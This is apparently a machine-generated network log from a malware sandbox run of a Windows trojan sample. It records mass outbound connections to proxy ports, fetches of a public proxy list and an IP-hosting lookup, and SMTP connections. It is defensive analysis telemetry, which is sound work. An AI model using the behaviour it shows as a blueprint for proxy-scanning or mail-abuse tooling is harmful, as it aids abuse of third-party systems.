Source: global traffic	TCP traffic: 192.168.2.8:49966 -> 51.178.165.36:3128
Source: global traffic	TCP traffic: 192.168.2.8:49967 -> 95.158.174.111:8080
Source: global traffic	TCP traffic: 192.168.2.8:49969 -> 111.16.50.12:9002
Source: global traffic	TCP traffic: 192.168.2.8:49970 -> 194.150.69.43:8888
Source: global traffic	TCP traffic: 192.168.2.8:49971 -> 51.38.14.161:23306
Source: global traffic	TCP traffic: 192.168.2.8:49973 -> 85.235.184.186:3129
Source: global traffic	TCP traffic: 192.168.2.8:49974 -> 200.229.224.221:8080
Source: global traffic	TCP traffic: 192.168.2.8:49975 -> 167.249.29.214:999
Source: global traffic	TCP traffic: 192.168.2.8:49976 -> 117.69.237.183:8089
Source: global traffic	TCP traffic: 192.168.2.8:49977 -> 220.194.189.144:3128
Source: global traffic	TCP traffic: 192.168.2.8:49978 -> 51.15.242.202:8888
Source: global traffic	TCP traffic: 192.168.2.8:49979 -> 93.115.25.139:4635
Source: global traffic	TCP traffic: 192.168.2.8:49980 -> 178.252.170.222:3128
Source: global traffic	TCP traffic: 192.168.2.8:49981 -> 212.252.66.209:8080
Source: global traffic	TCP traffic: 192.168.2.8:49982 -> 12.156.45.155:3128
Source: global traffic	TCP traffic: 192.168.2.8:49984 -> 178.18.248.104:49153
Source: global traffic	TCP traffic: 192.168.2.8:49985 -> 109.238.12.156:61743
Source: global traffic	TCP traffic: 192.168.2.8:49986 -> 72.10.160.170:12899
Source: global traffic	TCP traffic: 192.168.2.8:49987 -> 18.135.211.182:3128
Source: global traffic	TCP traffic: 192.168.2.8:49990 -> 139.255.86.226:5678
Source: global traffic	TCP traffic: 192.168.2.8:49991 -> 177.72.82.9:5678
Source: global traffic	TCP traffic: 192.168.2.8:49992 -> 103.244.163.197:3128
Source: global traffic	TCP traffic: 192.168.2.8:49993 -> 185.129.250.183:32284
Source: global traffic	TCP traffic: 192.168.2.8:49995 -> 61.216.156.222:60808
Source: global traffic	TCP traffic: 192.168.2.8:49996 -> 212.110.188.202:34409
Source: global traffic	TCP traffic: 192.168.2.8:49997 -> 107.181.161.81:4145
Source: global traffic	TCP traffic: 192.168.2.8:49998 -> 131.100.48.105:999
Source: global traffic	TCP traffic: 192.168.2.8:49999 -> 180.210.222.201:1080
Source: global traffic	TCP traffic: 192.168.2.8:50001 -> 190.188.244.84:5678
Source: global traffic	TCP traffic: 192.168.2.8:50002 -> 154.201.62.43:3128
Source: global traffic	TCP traffic: 192.168.2.8:50003 -> 62.112.10.26:3128
Source: global traffic	TCP traffic: 192.168.2.8:50004 -> 103.55.33.59:8080
Source: global traffic	TCP traffic: 192.168.2.8:50006 -> 51.79.87.144:18636
Source: global traffic	TCP traffic: 192.168.2.8:50007 -> 45.233.3.1:4153
Source: global traffic	TCP traffic: 192.168.2.8:50008 -> 154.202.114.154:3128
Source: global traffic	TCP traffic: 192.168.2.8:50009 -> 116.212.144.223:5678
Source: global traffic	TCP traffic: 192.168.2.8:50011 -> 190.82.105.123:43949
Source: global traffic	TCP traffic: 192.168.2.8:50012 -> 195.90.216.75:1080
Source: global traffic	TCP traffic: 192.168.2.8:50013 -> 103.5.127.213:50806
Source: global traffic	TCP traffic: 192.168.2.8:50014 -> 115.171.217.48:7890
Source: global traffic	TCP traffic: 192.168.2.8:50015 -> 37.120.222.132:3128
Source: global traffic	TCP traffic: 192.168.2.8:50016 -> 149.102.148.170:3128
Source: global traffic	TCP traffic: 192.168.2.8:50019 -> 91.150.189.122:30389
Source: global traffic	TCP traffic: 192.168.2.8:50020 -> 88.255.64.91:1976
Source: global traffic	TCP traffic: 192.168.2.8:50021 -> 150.136.120.240:3128
Source: global traffic	TCP traffic: 192.168.2.8:50023 -> 46.48.126.226:4153
Source: global traffic	TCP traffic: 192.168.2.8:50026 -> 72.10.160.171:8459
Source: global traffic	TCP traffic: 192.168.2.8:50028 -> 103.191.196.44:8082
Source: global traffic	TCP traffic: 192.168.2.8:50029 -> 103.216.50.11:8080
Source: global traffic	TCP traffic: 192.168.2.8:50030 -> 37.52.13.164:5678
Source: global traffic	TCP traffic: 192.168.2.8:50031 -> 148.66.130.187:60083
Source: global traffic	TCP traffic: 192.168.2.8:50032 -> 45.7.210.203:4153
Source: global traffic	TCP traffic: 192.168.2.8:50033 -> 209.126.104.38:21525
Source: global traffic	TCP traffic: 192.168.2.8:50034 -> 186.103.130.93:8080
Source: global traffic	TCP traffic: 192.168.2.8:50036 -> 162.0.220.222:53242
Source: global traffic	TCP traffic: 192.168.2.8:50037 -> 45.126.168.178:8080
Source: global traffic	TCP traffic: 192.168.2.8:50039 -> 197.232.65.40:55443
Source: global traffic	TCP traffic: 192.168.2.8:50040 -> 84.204.40.155:8080
Source: global traffic	TCP traffic: 192.168.2.8:50041 -> 184.178.172.5:15303
Source: global traffic	TCP traffic: 192.168.2.8:50043 -> 5.252.23.249:1080
Source: global traffic	TCP traffic: 192.168.2.8:50044 -> 123.30.154.171:7777
Source: global traffic	TCP traffic: 192.168.2.8:50045 -> 102.68.128.216:8080
Source: global traffic	TCP traffic: 192.168.2.8:50046 -> 203.19.38.114:1080
Source: global traffic	TCP traffic: 192.168.2.8:50047 -> 184.181.217.220:4145
Source: global traffic	TCP traffic: 192.168.2.8:50048 -> 5.161.219.13:4228
Source: global traffic	TCP traffic: 192.168.2.8:50049 -> 198.176.54.34:3128
Source: global traffic	TCP traffic: 192.168.2.8:50050 -> 109.24.132.215:3131
Source: global traffic	TCP traffic: 192.168.2.8:50051 -> 38.41.0.6:11201
Source: global traffic	TCP traffic: 192.168.2.8:50052 -> 36.67.27.189:49524
Source: global traffic	TCP traffic: 192.168.2.8:50053 -> 103.79.96.193:4153
Source: global traffic	TCP traffic: 192.168.2.8:50054 -> 27.112.78.34:3128
Source: global traffic	TCP traffic: 192.168.2.8:50055 -> 183.165.248.145:8089
Source: global traffic	TCP traffic: 192.168.2.8:50057 -> 159.224.187.170:5678
Source: global traffic	TCP traffic: 192.168.2.8:50058 -> 92.204.135.4:44712
Source: global traffic	TCP traffic: 192.168.2.8:50059 -> 188.255.244.9:1080
Source: global traffic	TCP traffic: 192.168.2.8:50060 -> 67.213.210.118:65149
Source: global traffic	TCP traffic: 192.168.2.8:50061 -> 45.162.135.201:999
Source: global traffic	TCP traffic: 192.168.2.8:50063 -> 104.238.111.107:30026
Source: global traffic	TCP traffic: 192.168.2.8:50064 -> 180.131.242.221:48678
Source: global traffic	TCP traffic: 192.168.2.8:50067 -> 154.79.250.48:5678
Source: global traffic	TCP traffic: 192.168.2.8:50068 -> 213.149.182.98:8080
Source: global traffic	TCP traffic: 192.168.2.8:50069 -> 179.49.162.133:999
Source: global traffic	TCP traffic: 192.168.2.8:50070 -> 162.144.32.209:23847
Source: global traffic	TCP traffic: 192.168.2.8:50071 -> 188.34.164.99:8080
Source: global traffic	TCP traffic: 192.168.2.8:50072 -> 91.189.177.190:3128
Source: global traffic	TCP traffic: 192.168.2.8:50073 -> 36.95.102.111:3128
Source: global traffic	TCP traffic: 192.168.2.8:50074 -> 1.20.95.95:5678
Source: global traffic	TCP traffic: 192.168.2.8:50075 -> 162.214.67.122:2604
Source: global traffic	TCP traffic: 192.168.2.8:50076 -> 125.25.40.38:8080
Source: global traffic	TCP traffic: 192.168.2.8:50079 -> 67.43.236.20:20695
Source: global traffic	TCP traffic: 192.168.2.8:50080 -> 181.65.169.35:999
Source: global traffic	TCP traffic: 192.168.2.8:50081 -> 107.180.101.18:38117
Source: global traffic	TCP traffic: 192.168.2.8:50082 -> 97.79.238.253:5699
Source: global traffic	TCP traffic: 192.168.2.8:50083 -> 154.202.117.155:3128
Source: global traffic	TCP traffic: 192.168.2.8:50084 -> 173.212.240.168:39180
Source: global traffic	TCP traffic: 192.168.2.8:50087 -> 60.215.109.34:7302
Source: global traffic	TCP traffic: 192.168.2.8:50088 -> 43.128.155.154:15673
Source: global traffic	TCP traffic: 192.168.2.8:50089 -> 46.209.54.102:8080
Source: global traffic	TCP traffic: 192.168.2.8:50090 -> 159.203.137.249:30433
Source: global traffic	TCP traffic: 192.168.2.8:50091 -> 36.37.81.135:8080
Source: global traffic	TCP traffic: 192.168.2.8:50092 -> 139.59.149.137:32326
Source: global traffic	TCP traffic: 192.168.2.8:50093 -> 173.44.141.179:2006
Source: global traffic	TCP traffic: 192.168.2.8:50094 -> 77.46.138.49:8080
Source: global traffic	TCP traffic: 192.168.2.8:50095 -> 37.193.227.108:1080
Source: global traffic	TCP traffic: 192.168.2.8:50096 -> 70.186.128.126:8080
Source: global traffic	TCP traffic: 192.168.2.8:50097 -> 58.240.192.158:4145
Source: global traffic	TCP traffic: 192.168.2.8:50099 -> 41.65.236.57:1976
Source: global traffic	TCP traffic: 192.168.2.8:50102 -> 136.243.245.231:8080
Source: global traffic	TCP traffic: 192.168.2.8:50103 -> 45.136.197.139:8080
Source: global traffic	TCP traffic: 192.168.2.8:50104 -> 178.249.218.34:5678
Source: global traffic	TCP traffic: 192.168.2.8:50105 -> 176.113.73.99:3128
Source: global traffic	TCP traffic: 192.168.2.8:50106 -> 85.133.190.4:8099
Source: global traffic	TCP traffic: 192.168.2.8:50107 -> 124.158.182.34:7654
Source: global traffic	TCP traffic: 192.168.2.8:50108 -> 114.106.135.102:8089
Source: global traffic	TCP traffic: 192.168.2.8:50109 -> 45.238.220.1:8181
Source: global traffic	TCP traffic: 192.168.2.8:50110 -> 143.42.194.37:3128
Source: global traffic	TCP traffic: 192.168.2.8:50113 -> 177.184.67.77:4145
Source: global traffic	TCP traffic: 192.168.2.8:50114 -> 71.19.249.97:8443
Source: global traffic	TCP traffic: 192.168.2.8:50115 -> 45.79.191.205:55919
Source: global traffic	TCP traffic: 192.168.2.8:50116 -> 212.42.99.22:4145
Source: global traffic	TCP traffic: 192.168.2.8:50119 -> 103.47.93.25:1080
Source: global traffic	TCP traffic: 192.168.2.8:50120 -> 189.240.60.166:9090
Source: global traffic	TCP traffic: 192.168.2.8:50121 -> 183.89.45.167:8080
Source: global traffic	TCP traffic: 192.168.2.8:50124 -> 41.160.238.106:5678
Source: global traffic	TCP traffic: 192.168.2.8:50125 -> 181.212.41.171:999
Source: global traffic	TCP traffic: 192.168.2.8:50126 -> 112.78.170.251:5678
Source: global traffic	TCP traffic: 192.168.2.8:50127 -> 60.199.29.42:8111
Source: global traffic	TCP traffic: 192.168.2.8:50129 -> 161.97.170.209:4441
Source: global traffic	TCP traffic: 192.168.2.8:50130 -> 109.92.133.194:5678
Source: global traffic	TCP traffic: 192.168.2.8:50133 -> 93.100.123.135:8080
Source: global traffic	TCP traffic: 192.168.2.8:50134 -> 202.6.224.51:1080
Source: global traffic	TCP traffic: 192.168.2.8:50136 -> 103.167.15.208:84
Source: global traffic	TCP traffic: 192.168.2.8:50137 -> 103.140.34.61:8080
Source: global traffic	TCP traffic: 192.168.2.8:50138 -> 209.216.90.208:31470
Source: global traffic	TCP traffic: 192.168.2.8:50140 -> 38.41.53.144:9090
Source: global traffic	TCP traffic: 192.168.2.8:50141 -> 78.189.191.184:48425
Source: global traffic	TCP traffic: 192.168.2.8:50143 -> 175.106.10.227:7878
Source: global traffic	TCP traffic: 192.168.2.8:50144 -> 8.210.60.44:5002
Source: global traffic	TCP traffic: 192.168.2.8:50146 -> 43.128.232.224:31993
Source: global traffic	TCP traffic: 192.168.2.8:50147 -> 108.61.168.184:44722
Source: global traffic	TCP traffic: 192.168.2.8:50148 -> 51.159.0.236:2020
Source: global traffic	TCP traffic: 192.168.2.8:50149 -> 173.249.33.122:5640
Source: global traffic	TCP traffic: 192.168.2.8:50150 -> 166.62.38.100:55671
Source: global traffic	TCP traffic: 192.168.2.8:50151 -> 27.123.3.141:4145
Source: global traffic	TCP traffic: 192.168.2.8:50153 -> 117.160.250.163:8080
Source: global traffic	TCP traffic: 192.168.2.8:50154 -> 117.24.80.53:3829
Source: global traffic	TCP traffic: 192.168.2.8:50155 -> 82.65.98.35:3128
Source: global traffic	TCP traffic: 192.168.2.8:50156 -> 82.194.133.209:4153
Source: global traffic	TCP traffic: 192.168.2.8:50158 -> 171.244.140.160:56076
Source: global traffic	TCP traffic: 192.168.2.8:50159 -> 103.25.210.102:347
Source: global traffic	TCP traffic: 192.168.2.8:50161 -> 119.92.71.123:5678
Source: global traffic	TCP traffic: 192.168.2.8:50163 -> 162.0.220.234:53242
Source: global traffic	TCP traffic: 192.168.2.8:50166 -> 144.24.77.90:55555
Source: global traffic	TCP traffic: 192.168.2.8:50167 -> 177.99.160.98:4145
Source: global traffic	TCP traffic: 192.168.2.8:50168 -> 103.131.18.194:8080
Source: global traffic	TCP traffic: 192.168.2.8:50169 -> 92.246.139.112:30504
Source: global traffic	TCP traffic: 192.168.2.8:50172 -> 5.161.98.204:53935
Source: global traffic	TCP traffic: 192.168.2.8:50173 -> 103.118.46.176:8080
Source: global traffic	TCP traffic: 192.168.2.8:50174 -> 178.33.252.189:3128
Source: global traffic	TCP traffic: 192.168.2.8:50177 -> 103.69.87.142:3128
Source: global traffic	TCP traffic: 192.168.2.8:50178 -> 185.169.181.11:4145
Source: global traffic	TCP traffic: 192.168.2.8:50179 -> 185.16.12.137:5678
Source: global traffic	TCP traffic: 192.168.2.8:50180 -> 190.14.155.198:5678
Source: global traffic	TCP traffic: 192.168.2.8:50181 -> 54.36.108.149:56367
Source: global traffic	TCP traffic: 192.168.2.8:50182 -> 117.69.190.52:41122
Source: global traffic	TCP traffic: 192.168.2.8:50184 -> 152.32.238.63:38080
Source: global traffic	TCP traffic: 192.168.2.8:50185 -> 31.172.189.205:1080
Source: global traffic	TCP traffic: 192.168.2.8:50188 -> 91.203.114.71:42905
Source: global traffic	TCP traffic: 192.168.2.8:50189 -> 185.208.101.217:8080
Source: global traffic	TCP traffic: 192.168.2.8:50191 -> 5.78.44.6:8080
Source: global traffic	TCP traffic: 192.168.2.8:50193 -> 141.94.174.6:33466
Source: global traffic	TCP traffic: 192.168.2.8:50194 -> 171.240.108.159:5306
Source: global traffic	TCP traffic: 192.168.2.8:50195 -> 85.214.249.84:3128
Source: global traffic	TCP traffic: 192.168.2.8:50197 -> 190.242.126.170:999
Source: global traffic	TCP traffic: 192.168.2.8:50198 -> 34.83.143.6:3128
Source: global traffic	TCP traffic: 192.168.2.8:50199 -> 24.199.86.181:8000
Source: global traffic	TCP traffic: 192.168.2.8:50200 -> 154.239.3.185:8081
Source: global traffic	TCP traffic: 192.168.2.8:50201 -> 54.39.50.68:44612
Source: global traffic	TCP traffic: 192.168.2.8:50202 -> 189.29.143.202:4153
Source: global traffic	TCP traffic: 192.168.2.8:50203 -> 219.243.212.118:8443
Source: global traffic	TCP traffic: 192.168.2.8:50204 -> 104.128.103.32:64312
Source: global traffic	TCP traffic: 192.168.2.8:50205 -> 213.171.44.86:3629
Source: global traffic	TCP traffic: 192.168.2.8:50206 -> 139.129.162.65:3128
Source: global traffic	TCP traffic: 192.168.2.8:50207 -> 51.15.209.188:16379
Source: global traffic	TCP traffic: 192.168.2.8:50209 -> 169.255.198.8:5678
Source: global traffic	TCP traffic: 192.168.2.8:50212 -> 138.197.92.110:35982
Source: global traffic	TCP traffic: 192.168.2.8:50215 -> 162.240.10.35:47056
Source: global traffic	TCP traffic: 192.168.2.8:50216 -> 103.155.54.38:83
Source: global traffic	TCP traffic: 192.168.2.8:50217 -> 173.212.209.49:44416
Source: global traffic	TCP traffic: 192.168.2.8:50218 -> 125.228.77.228:1081
Source: global traffic	TCP traffic: 192.168.2.8:50219 -> 20.219.177.73:3129
Source: global traffic	TCP traffic: 192.168.2.8:50220 -> 43.251.213.62:82
Source: global traffic	TCP traffic: 192.168.2.8:50225 -> 177.190.192.57:61221
Source: global traffic	TCP traffic: 192.168.2.8:50227 -> 175.139.179.65:42580
Source: global traffic	TCP traffic: 192.168.2.8:50228 -> 161.97.163.52:4085
Source: global traffic	TCP traffic: 192.168.2.8:50229 -> 162.214.162.156:44246
Source: global traffic	TCP traffic: 192.168.2.8:50230 -> 147.45.40.15:31554
Source: global traffic	TCP traffic: 192.168.2.8:50231 -> 41.65.236.53:1981
Source: global traffic	TCP traffic: 192.168.2.8:50232 -> 193.239.58.92:8081
Source: global traffic	TCP traffic: 192.168.2.8:50234 -> 36.91.98.115:8181
Source: global traffic	TCP traffic: 192.168.2.8:50235 -> 203.192.217.6:8080
Source: global traffic	TCP traffic: 192.168.2.8:50237 -> 67.43.236.19:32175
Source: global traffic	TCP traffic: 192.168.2.8:50238 -> 38.91.106.252:11420
Source: global traffic	TCP traffic: 192.168.2.8:50239 -> 91.247.92.63:5678
Source: global traffic	TCP traffic: 192.168.2.8:50240 -> 198.27.82.161:9050
Source: global traffic	TCP traffic: 192.168.2.8:50242 -> 152.228.140.225:14719
Source: global traffic	TCP traffic: 192.168.2.8:50243 -> 92.204.134.38:59727
Source: global traffic	TCP traffic: 192.168.2.8:50244 -> 180.210.222.205:1080
Source: global traffic	TCP traffic: 192.168.2.8:50245 -> 62.171.131.101:63551
Source: global traffic	TCP traffic: 192.168.2.8:50248 -> 162.215.223.71:38958
Source: global traffic	TCP traffic: 192.168.2.8:50250 -> 8.242.176.37:999
Source: global traffic	TCP traffic: 192.168.2.8:50253 -> 84.237.248.137:4153
Source: global traffic	TCP traffic: 192.168.2.8:50255 -> 167.99.39.82:46015
Source: global traffic	TCP traffic: 192.168.2.8:50256 -> 103.215.139.32:20056
Source: global traffic	TCP traffic: 192.168.2.8:50257 -> 103.109.59.193:1080
Source: global traffic	TCP traffic: 192.168.2.8:50258 -> 166.62.121.127:45248
Source: global traffic	TCP traffic: 192.168.2.8:50262 -> 67.43.227.226:25639
Source: global traffic	TCP traffic: 192.168.2.8:50263 -> 201.20.115.22:8080
Source: global traffic	TCP traffic: 192.168.2.8:50267 -> 65.49.82.7:40202
Source: global traffic	TCP traffic: 192.168.2.8:50268 -> 45.90.104.150:9090
Source: global traffic	TCP traffic: 192.168.2.8:50271 -> 155.248.213.236:3128
Source: global traffic	TCP traffic: 192.168.2.8:50273 -> 111.224.11.67:8089
Source: global traffic	TCP traffic: 192.168.2.8:50274 -> 182.253.247.140:8080
Source: global traffic	TCP traffic: 192.168.2.8:50277 -> 88.99.148.60:8111
Source: global traffic	TCP traffic: 192.168.2.8:50278 -> 63.151.67.7:8080
Source: global traffic	TCP traffic: 192.168.2.8:50279 -> 95.216.94.103:3128
Source: global traffic	TCP traffic: 192.168.2.8:50280 -> 222.165.223.139:41541
Source: global traffic	TCP traffic: 192.168.2.8:50282 -> 86.107.179.234:3128
Source: global traffic	TCP traffic: 192.168.2.8:50283 -> 154.201.63.79:3128
Source: global traffic	TCP traffic: 192.168.2.8:50284 -> 163.172.144.132:16379
Source: global traffic	TCP traffic: 192.168.2.8:50285 -> 190.2.115.33:4153
Source: global traffic	TCP traffic: 192.168.2.8:50287 -> 51.75.125.208:62727
Source: global traffic	TCP traffic: 192.168.2.8:50290 -> 178.115.230.243:8080
Source: global traffic	TCP traffic: 192.168.2.8:50292 -> 122.53.82.126:4145
Source: global traffic	TCP traffic: 192.168.2.8:50295 -> 95.216.201.74:1080
Source: global traffic	TCP traffic: 192.168.2.8:50297 -> 45.4.202.73:999
Source: global traffic	TCP traffic: 192.168.2.8:50299 -> 103.144.18.137:2002
Source: global traffic	TCP traffic: 192.168.2.8:50300 -> 177.222.60.138:5678
Source: global traffic	TCP traffic: 192.168.2.8:50301 -> 85.187.151.27:30016
Source: global traffic	TCP traffic: 192.168.2.8:50302 -> 37.44.238.2:52611
Source: global traffic	TCP traffic: 192.168.2.8:50304 -> 92.205.110.47:17158
Source: global traffic	TCP traffic: 192.168.2.8:50311 -> 207.244.252.14:62963
Source: global traffic	TCP traffic: 192.168.2.8:50313 -> 193.31.119.180:55850
Source: global traffic	TCP traffic: 192.168.2.8:50314 -> 181.204.27.74:999
Source: global traffic	TCP traffic: 192.168.2.8:50316 -> 185.198.58.47:27890
Source: global traffic	TCP traffic: 192.168.2.8:50317 -> 36.6.144.72:8089
Source: global traffic	TCP traffic: 192.168.2.8:50319 -> 185.97.114.179:3629
Source: global traffic	TCP traffic: 192.168.2.8:50320 -> 103.177.235.132:83
Source: global traffic	TCP traffic: 192.168.2.8:50321 -> 138.201.21.232:48915
Source: global traffic	TCP traffic: 192.168.2.8:50324 -> 94.23.220.136:35805
Source: global traffic	TCP traffic: 192.168.2.8:50325 -> 222.104.128.205:48678
Source: global traffic	TCP traffic: 192.168.2.8:50327 -> 103.35.108.198:4145
Source: global traffic	TCP traffic: 192.168.2.8:50326 -> 39.105.27.30:3128
Source: global traffic	TCP traffic: 192.168.2.8:50328 -> 51.15.21.216:63425
Source: global traffic	TCP traffic: 192.168.2.8:50329 -> 154.236.189.15:1976
Source: global traffic	TCP traffic: 192.168.2.8:50330 -> 178.32.143.55:32048
Source: global traffic	TCP traffic: 192.168.2.8:50331 -> 154.202.97.98:3128
Source: global traffic	TCP traffic: 192.168.2.8:50332 -> 181.209.100.2:999
Source: global traffic	TCP traffic: 192.168.2.8:50333 -> 171.244.10.204:47875
Source: global traffic	TCP traffic: 192.168.2.8:50334 -> 162.19.7.46:49579
Source: global traffic	TCP traffic: 192.168.2.8:50335 -> 202.162.43.241:8080
Source: global traffic	TCP traffic: 192.168.2.8:50338 -> 186.215.87.194:6002
Source: global traffic	TCP traffic: 192.168.2.8:50341 -> 103.133.27.143:8080
Source: global traffic	TCP traffic: 192.168.2.8:50342 -> 197.235.12.130:4145
Source: global traffic	TCP traffic: 192.168.2.8:50343 -> 188.132.222.38:8080
Source: global traffic	TCP traffic: 192.168.2.8:50345 -> 51.210.4.123:58244
Source: global traffic	TCP traffic: 192.168.2.8:50346 -> 85.173.165.36:46330
Source: global traffic	TCP traffic: 192.168.2.8:50347 -> 202.154.36.57:8080
Source: global traffic	TCP traffic: 192.168.2.8:50348 -> 197.248.86.237:32650
Source: global traffic	TCP traffic: 192.168.2.8:50349 -> 185.244.36.240:44087
Source: global traffic	TCP traffic: 192.168.2.8:50350 -> 196.204.24.251:8080
Source: global traffic	TCP traffic: 192.168.2.8:50351 -> 79.143.187.58:59410
Source: global traffic	TCP traffic: 192.168.2.8:50352 -> 43.153.133.208:15673
Source: global traffic	TCP traffic: 192.168.2.8:50354 -> 103.221.228.50:5678
Source: global traffic	TCP traffic: 192.168.2.8:50356 -> 190.113.40.202:999
Source: global traffic	TCP traffic: 192.168.2.8:50355 -> 78.140.7.239:40009
Source: global traffic	TCP traffic: 192.168.2.8:50358 -> 193.34.237.241:1080
Source: global traffic	TCP traffic: 192.168.2.8:50360 -> 185.32.45.201:4153
Source: global traffic	TCP traffic: 192.168.2.8:50362 -> 117.160.250.138:8899
Source: global traffic	TCP traffic: 192.168.2.8:50363 -> 43.250.81.154:34432
Source: global traffic	TCP traffic: 192.168.2.8:50365 -> 51.222.241.8:50565
Source: global traffic	TCP traffic: 192.168.2.8:50367 -> 103.188.177.22:8093
Source: global traffic	TCP traffic: 192.168.2.8:50368 -> 114.106.136.163:8089
Source: global traffic	TCP traffic: 192.168.2.8:50371 -> 54.38.179.203:60406
Source: global traffic	TCP traffic: 192.168.2.8:50375 -> 51.255.79.114:12682
Source: global traffic	TCP traffic: 192.168.2.8:50376 -> 196.0.111.194:48009
Source: global traffic	TCP traffic: 192.168.2.8:50378 -> 195.178.56.37:8080
Source: global traffic	TCP traffic: 192.168.2.8:50379 -> 66.228.35.209:29466
Source: global traffic	TCP traffic: 192.168.2.8:50380 -> 154.202.112.70:3128
Source: global traffic	TCP traffic: 192.168.2.8:50383 -> 103.14.224.104:3128
Source: global traffic	TCP traffic: 192.168.2.8:50382 -> 91.108.130.111:32650
Source: global traffic	TCP traffic: 192.168.2.8:50386 -> 103.182.112.11:5000
Source: global traffic	TCP traffic: 192.168.2.8:50387 -> 151.236.39.7:57248
Source: global traffic	TCP traffic: 192.168.2.8:50389 -> 162.19.7.50:50847
Source: global traffic	TCP traffic: 192.168.2.8:50390 -> 109.123.231.232:3128
Source: global traffic	TCP traffic: 192.168.2.8:50392 -> 185.38.111.1:8080
Source: global traffic	TCP traffic: 192.168.2.8:50393 -> 184.181.217.213:4145
Source: global traffic	TCP traffic: 192.168.2.8:50394 -> 51.158.172.165:8811
Source: global traffic	TCP traffic: 192.168.2.8:50395 -> 213.147.192.100:8080
Source: global traffic	TCP traffic: 192.168.2.8:50396 -> 79.101.37.78:3128
Source: global traffic	TCP traffic: 192.168.2.8:50397 -> 103.169.130.17:8080
Source: global traffic	TCP traffic: 192.168.2.8:50398 -> 188.132.221.169:8080
Source: global traffic	TCP traffic: 192.168.2.8:50399 -> 223.247.47.108:8089

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 5.42.81.57 5.42.81.57
Source: Joe Sandbox View	IP Address: 173.209.66.178 173.209.66.178
Source: Joe Sandbox View	IP Address: 212.110.188.202 212.110.188.202
Source: Joe Sandbox View	IP Address: 24.230.33.96 24.230.33.96

Source: Joe Sandbox View	ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU
Source: Joe Sandbox View	ASN Name: BYTEMARK-ASGB BYTEMARK-ASGB

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.8:54070 -> 160.248.80.91:587
Source: global traffic	TCP traffic: 192.168.2.8:55942 -> 199.188.206.65:587

Source: unknown	TCP traffic detected without corresponding DNS query: 177.36.13.65
Source: unknown	TCP traffic detected without corresponding DNS query: 178.207.11.148
Source: unknown	TCP traffic detected without corresponding DNS query: 117.57.93.170
Source: unknown	TCP traffic detected without corresponding DNS query: 195.138.73.54
Source: unknown	TCP traffic detected without corresponding DNS query: 117.54.114.103
Source: unknown	TCP traffic detected without corresponding DNS query: 146.56.101.184
Source: unknown	TCP traffic detected without corresponding DNS query: 134.122.43.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.125.12
Source: unknown	TCP traffic detected without corresponding DNS query: 194.233.78.142
Source: unknown	TCP traffic detected without corresponding DNS query: 157.100.6.202
Source: unknown	TCP traffic detected without corresponding DNS query: 176.236.124.252
Source: unknown	TCP traffic detected without corresponding DNS query: 103.75.117.79
Source: unknown	TCP traffic detected without corresponding DNS query: 115.96.208.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.40.127.166
Source: unknown	TCP traffic detected without corresponding DNS query: 94.153.252.170
Source: unknown	TCP traffic detected without corresponding DNS query: 201.77.108.64
Source: unknown	TCP traffic detected without corresponding DNS query: 103.83.178.42
Source: unknown	TCP traffic detected without corresponding DNS query: 187.190.49.166
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.25.99
Source: unknown	TCP traffic detected without corresponding DNS query: 196.20.125.129
Source: unknown	TCP traffic detected without corresponding DNS query: 20.118.133.34
Source: unknown	TCP traffic detected without corresponding DNS query: 128.127.94.160
Source: unknown	TCP traffic detected without corresponding DNS query: 188.164.196.31
Source: unknown	TCP traffic detected without corresponding DNS query: 8.213.129.15
Source: unknown	TCP traffic detected without corresponding DNS query: 122.52.196.36
Source: unknown	TCP traffic detected without corresponding DNS query: 37.32.15.125
Source: unknown	TCP traffic detected without corresponding DNS query: 92.246.139.106
Source: unknown	TCP traffic detected without corresponding DNS query: 190.109.178.44
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.48.20
Source: unknown	TCP traffic detected without corresponding DNS query: 79.132.192.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.141.236.3
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.237.78
Source: unknown	TCP traffic detected without corresponding DNS query: 82.135.123.155
Source: unknown	TCP traffic detected without corresponding DNS query: 96.113.158.126
Source: unknown	TCP traffic detected without corresponding DNS query: 202.165.47.90
Source: unknown	TCP traffic detected without corresponding DNS query: 104.248.151.220
Source: unknown	TCP traffic detected without corresponding DNS query: 12.186.205.120
Source: unknown	TCP traffic detected without corresponding DNS query: 104.45.128.122
Source: unknown	TCP traffic detected without corresponding DNS query: 188.132.222.7
Source: unknown	TCP traffic detected without corresponding DNS query: 88.132.205.84
Source: unknown	TCP traffic detected without corresponding DNS query: 148.72.212.212
Source: unknown	TCP traffic detected without corresponding DNS query: 202.146.228.254
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.159.43
Source: unknown	TCP traffic detected without corresponding DNS query: 46.209.207.150
Source: unknown	TCP traffic detected without corresponding DNS query: 203.85.120.69
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.253.1
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.104.190
Source: unknown	TCP traffic detected without corresponding DNS query: 81.44.83.70
Source: unknown	TCP traffic detected without corresponding DNS query: 51.91.13.215
Source: unknown	TCP traffic detected without corresponding DNS query: 47.74.152.29

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

